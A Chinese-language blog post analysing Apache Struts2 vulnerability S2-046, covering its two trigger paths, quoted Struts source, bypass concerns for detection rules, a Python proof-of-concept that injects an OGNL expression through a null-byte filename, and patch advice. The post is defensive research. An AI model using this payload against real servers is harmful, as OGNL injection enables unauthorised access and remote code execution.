欢迎光临
我们一直在努力

S2-046漏洞调试及初步分析

免责申明:文章中的工具等仅供个人测试研究,请在下载后24小时内删除,不得用于商业或非法用途,否则后果自负

0x00 漏洞介绍

S2-046漏洞和S2-045漏洞非常相似,都是由报错信息带入了buildErrorMessage这个方法造成的。 但是这次存在两个触发点。

Content-Length 的长度值超长
Content-Disposition的filename存在空字节

0x01 漏洞分析
Content-Length 的长度值超长
这个漏洞需要在strust.xml中加入 <constant name="struts.multipart.parser" value="jakarta-stream" />才能触发。
触发漏洞的代码在 JakartaStreamMultiPartRequest类中,processUpload函数处理了content-length长度超长的异常,导致问题触发。


private void processUpload(HttpServletRequest request, String saveDir)         throws Exception {     // Sanity check that the request is a multi-part/form-data request.     if (ServletFileUpload.isMultipartContent(request)) {         // Sanity check on request size.         boolean requestSizePermitted = isRequestSizePermitted(request);         // Interface with Commons FileUpload API         // Using the Streaming API         ServletFileUpload servletFileUpload = new ServletFileUpload();         FileItemIterator i = servletFileUpload.getItemIterator(request);         // Iterate the file items         while (i.hasNext()) {             try {                 FileItemStream itemStream = i.next();                 // If the file item stream is a form field, delegate to the                 // field item stream handler                 if (itemStream.isFormField()) {                     processFileItemStreamAsFormField(itemStream);                 }                 // Delegate the file item stream for a file field to the                 // file item stream handler, but delegation is skipped                 // if the requestSizePermitted check failed based on the                 // complete content-size of the request.                 else {                     // prevent processing file field item if request size not allowed.                     // also warn user in the logs.                     if (!requestSizePermitted) {                         addFileSkippedError(itemStream.getName(), request);                         LOG.warn(&quot;Skipped stream '#0', request maximum size (#1) exceeded.&quot;, itemStream.getName(), maxSize);                         continue;                     }                     processFileItemStreamAsFileField(itemStream, saveDir);                 }             } catch (IOException e) {                 e.printStackTrace();             }         }     } }

触发点在


LOG.warn(&quot;Skipped stream '#0', request maximum size (#1) exceeded.&quot;, itemStream.getName(), maxSize);

之后进入了函数addFileSkippedError,我们又见到了熟悉的buildErrorMessage,而这次带入的参数为fileName


private void addFileSkippedError(String fileName, HttpServletRequest request) {     String exceptionMessage = &quot;Skipped file &quot; + fileName + &quot;; request size limit exceeded.&quot;;     FileSizeLimitExceededException exception = new FileUploadBase.FileSizeLimitExceededException(exceptionMessage, getRequestSize(request), maxSize);     String message = buildErrorMessage(exception, new Object[]{fileName, getRequestSize(request), maxSize});     if (!errors.contains(message))         errors.add(message); }

Content-Disposition的filename存在空字节

第二种触发漏洞的方式,属于直接触发,在streams.class中,会对filename进行检查,如果检查出错,也会记录log。


public static String checkFileName(String fileName) {     if (fileName != null  &amp;&amp;  fileName.indexOf('/u0000') != -1) {         // pFileName.replace(&quot;/u0000&quot;, &quot;//0&quot;)         final StringBuilder sb = new StringBuilder();         for (int i = 0;  i &lt; fileName.length();  i++) {             char c = fileName.charAt(i);             switch (c) {                 case 0:                     sb.append(&quot;//0&quot;);                     break;                 default:                     sb.append(c);                     break;             }         }         throw new InvalidFileNameException(fileName,                 &quot;Invalid file name: &quot; + sb);     }     return fileName; }

最终进入的是JakartaStreamMultiPartRequest类的,我们又见到了buildErrorMessage


public void parse(HttpServletRequest request, String saveDir)         throws IOException {     try {         setLocale(request);         processUpload(request, saveDir);     } catch (Exception e) {         e.printStackTrace();         String errorMessage = buildErrorMessage(e, new Object[]{});         if (!errors.contains(errorMessage))             errors.add(errorMessage);     } }

0x02 规则添加注意点

由于存在两种方式,因此规则不是很好添加。且存在一定情况的bypass可能。

由于strust2会对data字段逐字解析,filename后可以跟如下几种情况。
多个空格
多个空格,且里面可以添加rn
n个空格
2172529624 S2-046漏洞调试及初步分析

0b不可当成检测字符,0b可以被替换成0000,0a – 0z 等等。
2172529624 S2-046漏洞调试及初步分析

0x03 测试脚本


#!/usr/bin/env python # coding:utf-8 import requests requests.packages.urllib3.disable_warnings()  def poccheck(url):     checkcode = False     boundary=&quot;---------------------------735323031399963166993862150&quot;     paylaod=&quot;%{{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vuln-check-7088','0day5')}}'&quot;     headers = {'Content-Type': 'multipart/form-data; boundary='+boundary+''}     data =&quot;--&quot;+boundary+&quot;/r/nContent-Disposition: form-data; name=/&quot;foo/&quot;; filename=/&quot;&quot;+paylaod+&quot;/0b/&quot;/r/nContent-Type: text/plain/r/n/r/nx/r/n--&quot;+boundary+&quot;--&quot;     try:         response = requests.post(url, headers=headers,data=data,verify=False)         if &quot;vuln-check-7088&quot; in response.headers:             checkcode = url+&quot; find struts2-46&quot;     except Exception as e:         print str(e)         return checkcode     return checkcode  if __name__ == '__main__':     import sys     if len(sys.argv) == 2:         print poccheck(sys.argv[1])     else:         print (&quot;usage: %s http://0day5.com/vuln.action % sys.argv[0])         sys.exit(-1)

0x04 防护建议

1.严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。
2.如果您使用基于Jakarta插件,请升级到Apache Struts 2.3.32或2.5.10.1版本。(强烈推荐)
3.使用pell、cos等其它multipart解析器
4.弃坑,使用SpringMV

from:http://bobao.360.cn/learning/detail/3639.html

未经允许不得转载:杂术馆 » S2-046漏洞调试及初步分析
分享到: 更多 (0)